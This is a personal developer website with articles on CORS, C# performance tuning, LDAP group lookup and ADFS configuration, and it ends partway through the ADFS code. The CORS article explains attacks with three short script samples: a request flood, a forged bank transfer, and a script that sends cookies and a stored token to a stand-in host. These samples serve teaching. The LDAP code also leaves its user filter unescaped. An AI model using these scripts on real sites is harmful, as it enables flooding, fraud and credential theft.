Hi \ Hola \ Привет!

I am ????? ??????.

I am an engineer, architect and team leader.
I create software.

Welcome to my site!

This site

Minimalistic, lightweight, hand-crafted from scratch with "notepad"... almost:)
Should work in modern browsers and look fine on your phone.

A mix of professional site and personal blog.

You can find more details here.

What's new?

Photos: My world map updated

Last site update: 21 sept 2025

Privacy, terms, licenses, etc.

I don't collect or store any information about the visitors of my site. I don't use cookies, browser storage or things like that.

You can use anything found here for free in any way you like. As usually, no warranty or liability on my part.

Not found

The requested page does not exist in my site

Coming Soon

0% done...

In this site...

  • Software development in general

    Anything about technologies, practices, architecture, database design, etc. Without "10 SQL tricks", "Window.setTimeout() explained" or "[ProductName] features overview" stuff.

  • Programming in deep

    With code examples, detailed guides and other things hard to find.

  • Other personal experiences I want to share

The concept

  • HTML \ CSS \ JavaScript only

    I want this site to be as simple as possible, both in terms of development and deployment \ hosting. I don't need any IDE \ code editor \ web server \ database \ etc. to work on it, and can host it anywhere.

    Also, I really miss the old lightweight sites not overfocusing on "cool" effects and animation.

  • Single file

    I like the idea of having anything in one file. It makes fairly easy to store temporary site data. Working with user interface is easier too. Site updates are fast and flawless. And no annoying hyperlink navigation flickering.

    On the other hand. There is increased traffic, the need of some kind of JavaScript navigation, the final HTML is bulky.

    At this moment the whole site is less that 1MB (about KB), for comparison: my LinkedIn page is about 3MB, my GitHub was 2MB when it was recently created, google.com is almost 2MB too... It looks like I have nothing to worry about.

    Obviously, I put all the media in separate files (except the site icon and background, which is a SVG).

  • No third-party

    This site is very simple. It took me just a few days to create it from scratch. It looks not so bad in any of my devices. There is just no need of using any CMS or third-party library.

    Also, this kind of hand-crafting brings pleasure:)

  • Any browser \ device friendly

    I test and check that everything works as intended in all browsers and devices at my disposal.

    I even downgraded some JavaScript code to make it work in older browsers like Internet Explorer.

Other considerations

Again, making a trendy-looking eye-catching site is not a goal here, so the UI is kind of ascetic.

I don't care about search engines, indexing, Google ranking, etc.

This site is absolutely commerce-free. No advertising, no paid reviews, no partner links. No monetization.

It's just for fun.

May I help you?

With over 15 year of experience in software development, I have the necessary skills to get the work done. Well done.

I can join your team\company\startup and help you to:

  • Design the "architecture", draw database schemas, think about integration issues, look for some useful third-party solutions, split everything into microservices and merge it back into a monolith.

  • Implement the above with .NET, JavaScript, SQL and some fancy (or not) frameworks (or without them).

  • Review what was coded with something like SonarQube and auto-test what was compiled with Selenium or JMeter.

  • Set up the CI\CD or in the worst-case do all the setup\deploy manually.

  • Work with legacy projects, figure out why everything is so slow and buggy, understand shit code.

Contacts

Right now I'm open for new projects. Feel free to reach me out!

EMail

Upwork

LinkedIn

#photos #techtalk #projects #code #other

A moment of hate

Top 10 list

View

#other #techtalk

JFF: Earthquakes map

A small demo-educational project

View

#projects

Photos: Rnd beauty

2020 - 2024, 3 photos per year

View

#photos

Code: Equal Earth SVG maps

A starting point for your map of the world

View

#code #projects

Photos: My world map

With places I've been

View

#photos #projects

Photos: Rnd beauty

2015 - 2019, 3 photos per year

View

#photos

Code: Active Directory Federation Services (ADFS)

Program.cs example

View

#code

Code: Lightweight directory access protocol (LDAP)

Via Novell.Directory.Ldap

View

#code

Photos: Rnd beauty

2010 - 2014, 3 photos per year

View

#photos

Article: Test task && Performance optimization

Performance optimization approaches, based on the example of a test task that I came across.

View

#techtalk

Tool: Code to HTML convertor

A very simple source code to HTML convertor \ syntax highlighter

View

#code #projects

Photos: Rnd beauty

2005 - 2009, 3 photos per year

View

#photos

Article: Cross-Origin Resource Sharing (CORS)

Even 10+ years after CORS was supported by most browsers, there is still a lot of misunderstanding.

View

#techtalk

Links

A selected collection of other personal sites.

View

#other

Site concept

Some details about this site, how it is done and why.

View

#other

Since personal sites have become rare and hard to find, I think it's worth having a small collection here.

I can't tell how I decide what to add and what not, but here are some things that I appreciate:

  • Lightweight design: without animations everywhere, strange scroll behavior, and pretension to look "cool". Except when it is cool.
  • Not focused only on self-branding, portfolio works and "Hire me! Pleeeese!" kind of content.
  • Sharing personal experiences, thoughts, and not work-related stuff.

I'll update this list time to time.

The links

Updated: March 2025

  • https://yuskithedeveloper.github.io
    ...
  • https://dustinbrett.com
    The windows-style UI and the games are cool:)
  • https://fahru.me
    Interesting desktop-style UI, but seems to be abandoned, sadly
  • https://archive.deviouschimp.co.uk
    Read the "Why?" section
  • https://stefanzweifel.dev
    Overall very worth reading. I even will borrow some ideas...
  • https://akgb.neocities.org
    I like diary-style blogs:)
  • https://bryantcodes.art
    The UI is unique!
  • https://peteroravec.com
    Again, an unrepeatable UI:)
  • https://garden.alliecaton.com
    Sadly, abandoned. But there are some interesting links I want to check.
  • https://1sle.xyz
    Another cool design.
  • https://thibault.sh
    2025: "In 15 years, humanity will have a permanent lunar base". Okay:)
  • https://blacksheepcode.com
    Has a good IT \ dev blog.
  • https://mnsh.me
    Interesting blog, will read...
  • https://dawiid.io
    A small site, but the shared thoughts are close to what I think.

Check availability

A little tool to check if the links above are still alive:

Due to CORS restrictions, it doesn't work for all sites (or needs CORS to be disabled in the browser).
Anyway, it's a good starting point to make a brief article about CORS.

CORS in two words three sentences

  1. The browser loads a site from the server (origin-A) containing a script that makes a request to another server (origin-B).

  2. The browser executes the script and makes a "preflight" request (OPTIONS HTTP method) to origin-B.
    The response may contain Access-Control-Allow-Origin and Access-Control-Allow-Methods headers (these are the most commonly used, but there are others).

  3. Before executing the actual meaningful request (GET, POST, etc.) the browser checks if origin-A is within the Access-Control-Allow-Origin and the HTTP method is in Access-Control-Allow-Methods.
    If not - the request is blocked.

Here is an explanatory gif:

CORS animation

Important: "origin" is a combination of scheme ("http", "https"), domain (but not subdomain) and port.
For example, "https://ui.domain.com" and "https://api.domain.com" are considered different origins.

Conclusions

  • CORS headers are controlled by origin-B, not origin-A. Usually, in your React \ Angular \ Vue app, you have to put it on the server API side.

  • You can bypass CORS restrictions by using a so-called "CORS proxy" (the problem of misunderstanding CORS is so big that even some commercial workarounds were implemented). However, I don't recommend it for anything serious.

  • As all the checks are done by your browser, there are some ways to disable it (with extensions, startup arguments and so on). But don't ask your users to do that.

  • Cross-site requests are not necessary something bad.

Why? (XSS and CSRF attacks)

Here are some examples - just to show that CORS was not invented only to inconvenience developers.

XSS-based DDoS \ Flood

The idea here is about making a user to participate in an attack without even knowing what is going on.
The user's browser loads a site containing a script which makes a request (automatically) to the attackable site. More users - more requests, until the server or the network won't be able to handle it.

Many times, reading about XSS attacks, I found an example with an alert(), which is confusing as it does nothing but reveal itself.
Here is a better example:

<script>
setInterval(() => {
const xmlHttp = new XMLHttpRequest();
xmlHttp.open('POST', 'https://attackablesite.com/contactme', true);
xmlHttp.send('subject=Your+site+is+down');
}, 1000);
</script>

Without CORS restrictions (or with "Access-Control-Allow-Origin: *" on the attackable site) every user who opens a site containing the script above, would make a request, every second.

CSRF (XSS-based user action emulation)

Technically the same as above, but in this case the target is the user.

The attack takes advantage of the fact that the user is already authenticated (e.g. on a bank site) to execute some unwanted actions. See example:

<script>
const xmlHttp = new XMLHttpRequest();
xmlHttp.open('POST', 'https://somenotsafeuserbank.com/transfers', true);
xmlHttp.send('receivingaccount=malicious&amount=100');
</script>

Again, with a wrong CORS configuration (or without CORS at all) and without other security measures, this would work.

Fishing and fake sites

Without CORS restrictions, making fake sites would be fairly easy (especially for the sites having separate API and UI parts).
But keep in mind that CORS doesn't prevent such things, it just makes them a bit more complicated.

CORS will not prevent cookies and other data theft

In the code below, "https://userdatatheft.com" is the server who controls the CORS headers, so it will likely set "Access-Control-Allow-Origin: *", and the request will pass.

<script>
const xmlHttp = new XMLHttpRequest();
xmlHttp.open('POST', 'https://userdatatheft.com/', true);
xmlHttp.send('cookie=' + document.cookie + '&token=' + window.localStorage.getItem('token'));
</script>

Rnd beauty 2004

2005 - 2009 >

2004

Rnd beauty 2005 - 2009

< 2004 - 2004 | 2010 - 2014 >

2009

2009 2009 2009

2008

2008 2008 2008

2007

2007 2007 2007

2006

2006 2006 2006

2005

2005 2005 2005

Rnd beauty 2010 - 2014

< 2005 - 2009 | 2015 - 2019 >

2014

2014 2014 2014

2013

2013 2013 2013

2012

2012 2012 2012

2011

2011 2011 2011

2010

2010 2010 2010

Rnd beauty 2015 - 2019

< 2010 - 2014 | 2020 - 2024 >

2019

2019 2019 2019

2018

2018 2018 2018

2017

2017 2017 2017

2016

2011 2011 2011

2015

2015 2015 2015

Rnd beauty 2020 - 2024

< 2015 - 2019

2024

2024 2024 2024

2023

2023 2023 2023

2022

2022 2022 2022

2021

2021 2021 2021

2020

2020 2020 2020

My code to Html

Here is a beta-version of my own implementation of source code to HTML convertor \ syntax highlighter.

For now, only JavaScript and C# are supported, partially (as much as necessary for my site).

This far from ideal implementation took me about 12 hours.

The playground




The convertor code

Github

The preamble

This is a copy of my LinkedIn article. I just thought why not post it here too to see how it looks, with more control over the markup and the awesome code blocks:)

Test task && Performance optimization

Showing how a developer (me in this case) approaches a problem, and how an apparently simple task can become somewhat complicated and unclear.

Some performance optimization tips, not the best C# code and other tech stuff.

I'm not into test tasks, but this time I thought why not...

The (little rephrased) test task:

  1. Separate a string input into words.

  2. Reverse all words with uneven length, remove all duplicate words with even length.

  3. Return a string made up of the results of pt. 2, ordered by length, ascending.

  • Do it as fast as possible.

  • Do not use AI, GPT, etc.

Okay, "Create a new project"...

First implementations && first questions

Windows Forms? Web? Experiment with MAUI? Unit Test Project?
Console.

internal class Program
{
static void Main(string[] args)
{
var input = "Separate a string input into words. A string input into words. Words.";
Console.WriteLine(input);

var output = RunTestTask(input);
Console.WriteLine(output);

Console.ReadKey();
}

private static string RunTestTask(string input)
{
var separators = new char[] { '.', ',' };
var words = input.Split(separators, StringSplitOptions.RemoveEmptyEntries);
var resultWords = new List<string>();
foreach (var word in words)
{
if (word.Length % 2 == 0)
{
if (!resultWords.Contains(word))
{
resultWords.Add(word);
}
}
else
{
resultWords.Add(new String(word.Reverse().ToArray()));
}
}
return String.Join(" ", resultWords.OrderBy(x => x.Length));
}
}

Straightforward implementation, took 15 minutes

Sure, this is not the code task authors are expecting. But it works, so I'll use it as a self-test for further implementations.

Doubts and thoughts:

  • Maybe I need a case-insensitive duplicates detection? Yes, normally we consider words to be the same regardless of case. I'll just do String.ToLower...

  • What chars should I use as input separators? I'll put it into a const.

  • What if the input is null? Return null.

  • Or it doesn't fit in memory? I don't think the task is about this.

  • Any other info about the input? No?

  • No String.Reverse in C#??? No String.Reverse in C#.

Obviously, I need a much longer string to measure the performance. And self-tests. And performance comparisons. And Program.cs is not the right place...

internal class Program
{
static void Main(string[] args)
{
const string selfTestIn = "Separate a string input into words. A string input into words.";
const string selfTestOutExpected = "a a into tupni sdrow tupni sdrow string separate";

var bigIn = File.ReadAllText("C:\\Users\\-\\Downloads\\WarAndPeace.txt");

var testTaskRunners = new List<ITestTask>() { new TestTask_Straightforward() };
foreach (var runner in testTaskRunners)
{
var selfTestOut = runner.Run(selfTestIn);
if (selfTestOut != selfTestOutExpected)
{
Console.WriteLine($"{runner.GetType().Name}: FAILED");
continue;
}

var bigOut = runner.Run(bigIn);

Console.WriteLine($"{runner.GetType().Name}: {runner.ElapsedMilliseconds} ms");
}

Console.ReadKey();
}
}

internal class TestTask_Straightforward : ITestTask
{
private Stopwatch _stopwatch = new Stopwatch();

public string Run(string input)
{
if (String.IsNullOrEmpty(input))
return input;

_stopwatch.Restart();

input = input.ToLower();

var words = input.Split(Consts.Separators, StringSplitOptions.RemoveEmptyEntries);
var resultWords = new List<string>();
foreach (var word in words)
{
if (word.Length % 2 == 0)
{
if (!resultWords.Contains(word))
{
resultWords.Add(word);
}
}
else
{
resultWords.Add(new String(word.Reverse().ToArray()));
}
}
var result = String.Join("", resultWords.OrderBy(x => x.Length));

_stopwatch.Stop();

return result;
}

public long ElapsedMilliseconds
{
get
{
return _stopwatch.ElapsedMilliseconds;
}
}
}

Some improvements but still straightforward, 10 minutes more and lines of code doubled

Run... Oh, "War and Peace" is not long enough, I need at least "War and Peace" x5.

Run... 34065 milliseconds for a 16468070-length string and 2882885 words. Maybe it is fast enough?

Should I put this Stopwatch somewhere else? I'll remove it from the final version anyway...

On the surface (tips)

The test task takes a 34-35 seconds to complete (hereinafter: I always do several measurements). Sure, it can run faster. What can I do?

Find what's slow

As I said, I want to use the code above for self-tests and as a reference, so I will create another class to experiment with. And I need more Stopwatches...

internal class TestTask_Fast : ITestTask
{
private Stopwatch _stopwatch_Total = new Stopwatch();

private Stopwatch _stopwatch_ToLower = new Stopwatch();
private Stopwatch _stopwatch_Split = new Stopwatch();
private Stopwatch _stopwatch_Foreach = new Stopwatch();
private Stopwatch _stopwatch_Reverse = new Stopwatch();
private Stopwatch _stopwatch_IsEven = new Stopwatch();
private Stopwatch _stopwatch_ResultContains = new Stopwatch();
private Stopwatch _stopwatch_ResultAdd = new Stopwatch();
private Stopwatch _stopwatch_Order = new Stopwatch();
private Stopwatch _stopwatch_Join = new Stopwatch();

public string Run(string input)
{
_stopwatch_Total.Reset();
_stopwatch_ToLower.Reset();
_stopwatch_Split.Reset();
_stopwatch_Foreach.Reset();
_stopwatch_Reverse.Reset();
_stopwatch_IsEven.Reset();
_stopwatch_ResultContains.Reset();
_stopwatch_ResultAdd.Reset();
_stopwatch_Order.Reset();
_stopwatch_Join.Reset();

if (String.IsNullOrEmpty(input))
return input;

_stopwatch_Total.Start();

_stopwatch_ToLower.Start();
input = input.ToLower();
_stopwatch_ToLower.Stop();

_stopwatch_Split.Start();
var words = input.Split(Consts.Separators, StringSplitOptions.RemoveEmptyEntries);
_stopwatch_Split.Stop();

var resultWords = new List<string>();

_stopwatch_Foreach.Start();
foreach (var word in words)
{
_stopwatch_IsEven.Start();
var isEven = word.Length % 2 == 0;
_stopwatch_IsEven.Stop();

if (isEven)
{
_stopwatch_ResultContains.Start();
var isDuplicate = resultWords.Contains(word);
_stopwatch_ResultContains.Stop();

if (!isDuplicate)
{
_stopwatch_ResultAdd.Start();
resultWords.Add(word);
_stopwatch_ResultAdd.Stop();
}
}
else
{
_stopwatch_Reverse.Start();
var reversedword = new String(word.Reverse().ToArray());
_stopwatch_Reverse.Stop();

_stopwatch_ResultAdd.Start();
resultWords.Add(reversedword);
_stopwatch_ResultAdd.Stop();
}
}
_stopwatch_Foreach.Stop();

_stopwatch_Order.Start();
var orderedWords = resultWords.OrderBy(x => x.Length).ToList();
_stopwatch_Order.Stop();

_stopwatch_Join.Start();
var result = String.Join("", orderedWords);
_stopwatch_Join.Stop();

_stopwatch_Total.Stop();
return result;
}

public long ElapsedMilliseconds
{
get
{
return _stopwatch_Total.ElapsedMilliseconds;
}
}
}

The same with Stopwatches, another 10 minutes

The results:

  • List.Contains took almost 33 seconds, super slow, as expected. I used it on purpose.

  • The self-made Reverse took only ~400 milliseconds, not bad. I'm surprised.

  • String.Split took ~300 ms.

  • OrderBy another ~250 ms.

  • String.ToLower, String.Length % 2 == 0, List.Add and String.Join took less than 100 ms each.

Use appropriate data structures

With this quantity of words, I need a HashSet for duplicates detection, not a List. In fact, I put List.Contains in my code only to illustrate this very common mistake.

//var duplicateWords = new HashSet<string>
var isDuplicate = !duplicateWords.Add(word);

Life-changing line of code (two lines, actually)

It was 34 seconds in total, now it is about 1400 ms (again, after several measurements).
Almost 25 times faster!

Use precomputations

Now, the slow part is the Reverse method. Here is another simple optimization to do.

private string Reverse(string str)
{
//_reversedStrings = new Dictionary<string, string>();
if (_reversedStrings.ContainsKey(str))
return _reversedStrings[str];

var result = new String(str.Reverse().ToArray());
_reversedStrings.Add(str, result);
return result;
}

Storing and reusing the results of previous calls

1400 to 1150 ms in total (-18%). And slightly faster if I run it again without clearing the Dictionary.

Avoid misuses

See the String.ToLower at the beginning? It takes less than 100 ms (80-90 ms to be exact) - nothing too bad if we are talking about tens of seconds. But now it has become 7-8%.

var duplicateWords = new HashSet<string>(StringComparer.OrdinalIgnoreCase);

The right way of doing a string comparison. And the fastest one

Another 50ms gone (-4%; hereinafter: from previous result). Obviously, the usage of StringComparer has some cost.

The output is not lower-case only anymore, but the task doesn't have any requirements about it.

A couple more things

  • OrderBy followed by ToList seems redundant, I used it only for the stopwatch.

    //_stopwatch_Order.Start();
    //var orderedWords = resultWords.OrderBy(x => x.Length).ToList();
    //_stopwatch_Order.Stop();

    //_stopwatch_Join.Start();
    //var result = String.Join("", orderedWords);
    //_stopwatch_Join.Stop();

    _stopwatch_OrderAndJoin.Start();
    var result = String.Join(" ", resultWords.OrderBy(x => x.Length));
    _stopwatch_OrderAndJoin.Stop();

  • Bitwise operations are faster than arithmetic operations.

    //var isEven = word.Length % 2 == 0;
    var isEven = word.Length & 1 == 0;

  • No need to reverse single-char words.

    private string Reverse(string str)
    {
    if (str.Length == 1)
    return str;

    //other logic here
    }

Honestly, I didn't see any improvements here. This is expected: String.Join has a special case for lists and arrays, modulus operator is optimized by many compilers, and we have relatively few single-char words.

Remove the debug code

The Stopwatches. I removed them (except one) and the time dropped from 1100 to 800 (-27%).

This the "solution" I'm supposed to demonstrate? A HashSet and a Dictionary? Not too impressive, but who knows...

At this point, I spent about 1 hour on the task.

Definitely I should rename "isEven" var to "isEvenLength" and "TestTask_Fast" to "TestTask_WithHashSet". And move the overall time measurement to Program.cs.

Deeper (tips?)

800 ms now. There are some problems with my solution above: (1) it iterates over the input at least 4 times, (2) creates lots of objects, and (3) there is nothing I can do about it. On the other hand, there is one important good thing about it: it's readable and maintainable.

Now I will try a different approach.

If I was working on a regular project, "REST here, CRUD there", I would think twice before going ahead.

Not so readable code

The main idea here is to use some task-relevant and more efficient data structure instead of IEnumerable<string>

internal class TestTask_Faster : ITestTask
{
private List<Dictionary<string, int>> _words = new List<Dictionary<string, int>>();

public string Run(string input)
{
_words.Clear();

if (String.IsNullOrEmpty(input))
return input;

var wordBuilder = new StringBuilder();
foreach (var chr in input)
{
var isSeparator = Consts.SeparatorsList.Contains(chr);
if (isSeparator)
{
if (wordBuilder.Length != 0)
{
var word = wordBuilder.ToString();
AddWord(word);
}
wordBuilder.Clear();
}
else
{
wordBuilder.Append(chr);
}
}
if (wordBuilder.Length != 0)
{
var word = wordBuilder.ToString();
AddWord(word);
}

var resultBuilder = new StringBuilder();
for (var wordLength = 1; wordLength < _words.Count; wordLength++)
{
var isEvenLength = wordLength % 2 == 0;
if (isEvenLength)
{
foreach (var word in _words[wordLength].Keys)
{
resultBuilder.Append(word).Append(" ");
}
}
else
{
foreach (var word in _words[wordLength].Keys)
{
var reversedWord = Reverse(word);
for (var counter = 0; counter < _words[wordLength][word]; counter++)
{
resultBuilder.Append(reversedWord).Append(" ");
}
}
}
}

var result = resultBuilder.ToString(0, resultBuilder.Length - 1);
return result;
}

private void AddWord(string word)
{
EnsureWordLength(word.Length);
if (_words[word.Length].ContainsKey(word))
{
_words[word.Length][word]++;
}
else
{
_words[word.Length].Add(word, 1);
}
}

private void EnsureWordLength(int wordLength)
{
while (_words.Count <= wordLength)
{
_words.Add(new Dictionary<string, int>(StringComparer.OrdinalIgnoreCase));
}
}

private string Reverse(string str)
{
if (str.Length == 1)
return str;

return new String(str.Reverse().ToArray());
}
}

This implementation took about 2 hours with all the debug and tests

I don't think it's possible to tell how I did come to this implementation.

First, the performance: 640 ms (-20%) (without Stopwatches)

Next, the test task does not mention anything about same length words ordering, so different solutions can return different results - and this is absolutely valid, and this is the case with this new one. I had to change my self-tests to avoid false failures. I'll not add another performance-decreasing OrderBy or ThenBy to make it deterministic without explicit requirement, no-no-no.

The slow parts:

  • Consts.Separators.Contains (Separators is a 20 chars array).

  • First StringBuilder (var wordBuilder) operations.

  • AddWord method. Expected.

Experiment

Using an array to store the separators was a good idea, since this is the right type for String.Split. But I don't have String.Split anymore...

internal static class Consts
{
public static char[] Separators = new char[] {
' ', '.', ',', ';', ':',
'!', '?', '(', ')', '\n',
'\r', '"', '-', '”', '“',
'’', '‘', '*', '—', '•'
};

public static List<char> SeparatorsList = new List<char>(Separators);

public static HashSet<char> SeparatorsHashSet = new HashSet<char>(Separators);

public static bool IsSeparator(char chr)
{
if (chr == ' ')
return true;
//repeat 20 times

return false;
}
}

var isSeparator = Consts.SeparatorsList.Contains(chr);

Different ways to store word separators and the fastest version of the check

The 20-ifs approach (with == and Equals) didn't improve anything at all. A bit surprised here.

Neither did the HashSet. Expected, the collection is too small.

Using the List did the trick, and now I'm at 530 ms (-17%). Surprised, List.Contains is faster than Array.Contains...

Remember it was unclear what chars should I use as separators? At this point it makes difference: with a couple of separators, the ifs-method is faster than List, and something like Char.IsLetterOrDigit is faster than both. I'll stick with the List for now.

Experiment more...

StringBuilders are great, but I need something simpler. Like an array.

var wordBuilder = new char[100];
var wordBuilderIndex = 0;
foreach (var chr in input)
{
var isSeparator = Consts.SeparatorsList.Contains(chr);
if (isSeparator)
{
if (wordBuilderIndex != 0)
{
var word = new String(wordBuilder, 0, wordBuilderIndex);
AddWord(word);
}
wordBuilderIndex = 0;
}
else
{
wordBuilder[wordBuilderIndex] = chr;
wordBuilderIndex++;
}
}
if (wordBuilderIndex != 0)
{
var word = new String(wordBuilder, 0, wordBuilderIndex);
AddWord(word);
}

Using a char array instead of a StringBuilder

10-15ms faster (-3%), barely noticeable. And puts this weird limit on the word length. Not a problem for now, changing 100 to 10000 doesn't seem to affect timing.

I've done more experiments, but only the mentioned two were successful in terms of performance.

Time's up!

So, now I have a 520 ms implementation. Not as readable as the previous one, but 35% faster.
Or not?

I repeated my tests with a 135MB text file ("War and Peace" x40) as input:

  • List solution (the first one): Didn't test as it would take too long.

  • HashSet solution: 5000 ms.

  • List<Dictionary> solution (with StringBuilder): 4050 ms (-20%)

  • List<Dictionary> solution (with char[]): 3840 ms (-5%)

At least the supposed to be faster versions are faster!

And then with an input where all the "words" are unique and have the same length (GUIDs), about the same input length as above:

  • HashSet solution: 1750 ms.

  • List<Dictionary> solution (with StringBuilder): 2700 ms (+50%)

  • List<Dictionary> solution (with char[]): 2650 ms (-2%)

Expected

And then with an input where all the "words" are unique and have different length (numbers):

  • HashSet solution: 6900 ms.

  • List<Dictionary> solution (with StringBuilder): 6000 ms (-13%)

  • List<Dictionary> solution (with char[]): 5800 ms (-3%)

Not the best nor the worst...

Which solution is the best? It depends... Which one are expecting the task authors?

I spent 4 or 5 hours on this task already (1 hour for the HashSet implementation and another 4 hours for the final "List of Dictionaries" version). This is more than I'm ready to spend on a test task...

No ideas for further improvements.

Wait...

internal class TestTask_GPT : ITestTask
{
public string Run(string input)
{
// Split the sentence into words
var words = input.Split(Consts.Separators, StringSplitOptions.RemoveEmptyEntries);

// List to store the transformed words
List<string> transformedWords = new List<string>();

// HashSet to track words with even length to remove duplicates
HashSet<string> seenEvenWords = new HashSet<string>();

foreach (var word in words)
{
if (word.Length % 2 == 0) // Even length, add it if not seen before
{
if (!seenEvenWords.Contains(word))
{
seenEvenWords.Add(word);
transformedWords.Add(word);
}
}
else // Odd length, reverse the word
{
transformedWords.Add(new string(word.Reverse().ToArray()));
}
}

// Sort the words by length
transformedWords.Sort((x, y) => x.Length.CompareTo(y.Length));

// Join the words into a single string
return string.Join(" ", transformedWords);
}
}

Not bad for a robot

LDAP via Novell.Directory.Ldap

Intro:

  • A .NET web application running on a Linux server

  • Users are stored in a database

  • Client: we need another type of users support: the ones stored in our Active Directory... Can you do it?

Sure.

Long story short

System.DirectoryServices seems to be Windows-only

There are some troubles getting user groups with Ldap4net on Linux (login and password check works fine)

But there is Novell.Directory.Ldap.NETStandard

The code

After some experiments I ended up with this piece of code.

Github

using Novell.Directory.Ldap;

namespace YuskiTheDeveloper.Ldap
{
public class LdapHelper
{
/// <param name="host">domain name or IP address are valid</param>
/// <param name="port">standard ports are 389, 636 (ldaps) for local domain controller and 3268, 3269 (ldaps) for global catalog</param>
public LdapHelper(string host, int port)
{
if (String.IsNullOrWhiteSpace(host))
throw new ArgumentException(nameof(host));
if ((port <= 0) || (port >= 65536))
throw new ArgumentException(nameof(port));

_host = host;
_port = port;
}

private readonly string _host;
private readonly int _port;

/// <summary>
/// Returns the user with the groups he is member of
/// </summary>
public LdapUser GetUser(string domain, string username, string password)
{
if (String.IsNullOrWhiteSpace(domain))
throw new ArgumentException(nameof(domain));
if (String.IsNullOrWhiteSpace(username))
throw new ArgumentException(nameof(username));
if (String.IsNullOrWhiteSpace(password))
throw new ArgumentException(nameof(password));

using (LdapConnection ldapConnection = new LdapConnection())
{
ldapConnection.Constraints.ReferralFollowing = true;
ldapConnection.SearchConstraints.ReferralFollowing = true;
try
{
ldapConnection.Connect(_host, _port);
}
catch (Exception ex)
{
throw new Exception($"Error connecting to {_host}:{_port}", ex);
}
if (!ldapConnection.Connected)
throw new Exception($"Error connecting to {_host}:{_port}");

try
{
ldapConnection.Bind(LdapConnection.LdapV3, $"{username}@{domain}", password);
}
catch (Exception ex)
{
throw new Exception($"Wrong credentials for {domain}\\{username}", ex);
}
if (!ldapConnection.Bound)
throw new Exception($"Wrong credentials for {domain}\\{username}");

var requestDN = $"{String.Join(",", domain.Split('.').Select(x => $"dc={x}"))}";
var userRequestFilter = $"(&(objectClass=person)(objectCategory=user)(sAMAccountName={username}))";

ILdapSearchResults userResponse;
try
{
//"uid" and "displayname" are just for debugging
userResponse = ldapConnection.Search(requestDN, LdapConnection.ScopeSub, userRequestFilter, new string[] { "uid", "mail", "memberof", "samaccountname", "company", "displayname" }, false);
}
catch (Exception ex)
{
throw new Exception($"Error searching for {userRequestFilter}", ex);
}

LdapUser result = null;
foreach (var item in userResponse)
{
result = new LdapUser();
result.UserName = $"{domain}\\{username}";
foreach (string attributeKey in item.GetAttributeSet().Select(x => x.Key))
{
var values = item.GetAttribute(attributeKey).StringValueArray;

if (String.Equals(attributeKey, "company", StringComparison.OrdinalIgnoreCase))
{
var value = String.Join(";", values.Select(x => x.ToString()));
result.CompanyName = value;
}
else if (String.Equals(attributeKey, "mail", StringComparison.OrdinalIgnoreCase))
{
var value = String.Join(";", values.Select(x => x.ToString()));
result.EMail = value;
}
else if (String.Equals(attributeKey, "displayname", StringComparison.OrdinalIgnoreCase))
{
var value = String.Join(";", values.Select(x => x.ToString()));
result.DisplayName = value;
}
else if (String.Equals(attributeKey, "memberof", StringComparison.OrdinalIgnoreCase))
{
result.GroupNames.UnionWith(values.Select(x => GetName(x)));
}
}
break;
}
if (result == null)
throw new Exception($"Nothing found while searching for {userRequestFilter}");

foreach (var groupName in result.GroupNames.ToArray())
{
result.GroupNames.UnionWith(GetMemberOfRecursive(ldapConnection, requestDN, groupName));
}
return result;
}
}

private IEnumerable<string> GetMemberOfRecursive(LdapConnection ldapConnection, string requestDN, string groupName)
{
var groupRequestFilter = $"(&(objectClass=group)(cn={EscapeFilterParam(groupName)}))";

ILdapSearchResults groupResponse;
try
{
//"uid" and "displayname" are just for debugging
groupResponse = ldapConnection.Search(requestDN, LdapConnection.ScopeSub, groupRequestFilter, new string[] { "uid", "memberof", "displayname" }, false, new LdapSearchConstraints() { ReferralFollowing = true });
}
catch (Exception ex)
{
throw new Exception($"Error searching for {groupRequestFilter}", ex);
}

var result = new HashSet<string>();
foreach (var item in groupResponse)
{
foreach (string attributeKey in item.GetAttributeSet().Select(x => x.Key))
{
var values = item.GetAttribute(attributeKey).StringValueArray;

if (String.Equals(attributeKey, "memberof", StringComparison.OrdinalIgnoreCase))
{
result.UnionWith(values.Select(x => GetName(x)));
}
}
}
foreach (var parentGroupName in result.ToArray())
{
result.UnionWith(GetMemberOfRecursive(ldapConnection, requestDN, parentGroupName));
}
return result;
}

private string EscapeFilterParam(string groupName)
{
//sure there are more
return groupName.Replace("\\", "").Replace("(", "\\(").Replace(")", "\\)").Replace("&", "\\&").Replace("|", "\\|").Replace("=", "\\=");
}

private string GetName(string value)
{
//#oops!
value = value.Replace("\\,", "@#$");

var prefix = "CN=";
var prefixLength = prefix.Length;

var indexOfCN = value.IndexOf(prefix);
if (indexOfCN == -1)
return null;

var indexOfComma = value.IndexOf(",", indexOfCN);
if (indexOfComma == -1)
{
indexOfComma = value.Length;
}
var result = value.Substring(indexOfCN + prefixLength, indexOfComma - indexOfCN - prefixLength);

//#oops!
result = result.Replace("@#$", "\\,");

return result;
}
}

public class LdapUser
{
public string UserName { get; set; }
public string CompanyName { get; set; }
public string EMail { get; set; }
public string DisplayName { get; set; }
public HashSet<string> GroupNames { get; } = new HashSet<string>();
}
}

ADFS example

As our team was struggling some days to get it to work (debugging is somewhat tricky and working examples are rare), I thought it's worth sharing this piece of code.

Program.cs (.NET 8, ASP.NET MVC)

Github

using Microsoft.AspNetCore.Authentication.Cookies;
using Microsoft.AspNetCore.Authentication.WsFederation;
using Microsoft.AspNetCore.HttpOverrides;
using System.Security.Claims;

namespace YuskiTheDeveloper.Adfs
{
public class Program
{
public const string POLICY_ADMIN = "policy_admin";
public const string POLICY_GUEST = "policy_guest";

private const string AD_ROLE_ADMIN = "awesome_site_admin";
private const string AD_ROLE_GUEST = "awesome_site_guest";

public static void Main(string[] args)
{
var configuration = new ConfigurationBuilder()
.AddJsonFile("appsettings.json")
.AddJsonFile($"appsettings.{Environment.GetEnvironmentVariable("ASPNETCORE_ENVIRONMENT")}.json", optional: true)
.AddEnvironmentVariables()
.Build();

var builder = WebApplication.CreateBuilder();

builder.Services
.AddControllersWithViews()
.AddSessionStateTempDataProvider();

builder.Services.AddHttpContextAccessor();

builder.Services.AddAuthentication(o =>
{
o.DefaultScheme = CookieAuthenticationDefaults.AuthenticationScheme;
o.DefaultChallengeScheme = WsFederationDefaults.AuthenticationScheme;
})
.AddWsFederation(o =>
{
o.Wtrealm = builder.Configuration["adfs:wtRealm"]; //#example "https://yoursite.com", an uri
o.Wreply = builder.Configuration["adfs:wReply"]; //#example "https://yoursite.com/signin-wsfed", "/signin-wsfed" is the default
